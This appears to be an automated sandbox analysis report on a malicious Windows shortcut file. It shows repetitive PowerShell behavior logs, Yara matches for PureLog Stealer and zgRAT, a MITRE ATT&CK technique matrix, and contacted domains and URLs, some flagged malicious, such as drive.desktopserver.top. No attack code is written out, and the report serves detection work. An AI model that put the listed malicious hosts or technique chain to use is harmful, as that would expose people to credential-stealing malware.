Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2471509926.000001F3185BD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2614802027.000001CCBEA5D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2627405581.000002335422D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.powershell.exe.1f318711390.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.1ccbebb1660.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.powershell.exe.233543815c0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fed130000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.19fe48e8dd8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2356511560.0000019FED130000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Process Injection	21 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	41 Virtualization/Sandbox Evasion	LSASS Memory	12 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	12 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Sv6eQZzG0Z.lnk	11%	ReversingLabs
Sv6eQZzG0Z.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.desktopserver.top	104.21.92.189	true	true	unknown
www.google.com	142.250.184.228	true	false	unknown
gateway.discord.gg	162.159.135.234	true	false	unknown
mora.gov.pk	203.101.184.86	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://gateway.discord.gg/?v=9&encording=json	false	unknown
http://drive.desktopserver.top/file/res/	false	unknown
https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf	true	unknown
file:///C:/Users/user/Downloads/downloaded.pdf	false	unknown
https://drive.desktopserver.top/file/	false	unknown
https://mora.gov.pk/favicon.ico	false	unknown
https://drive.desktopserver.top/file/res/	false	unknown
http://drive.desktopserver.top/file/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000B.00000002.2346293232.0000019FE4678000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000000B.00000002.2318160174.0000019FD593B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
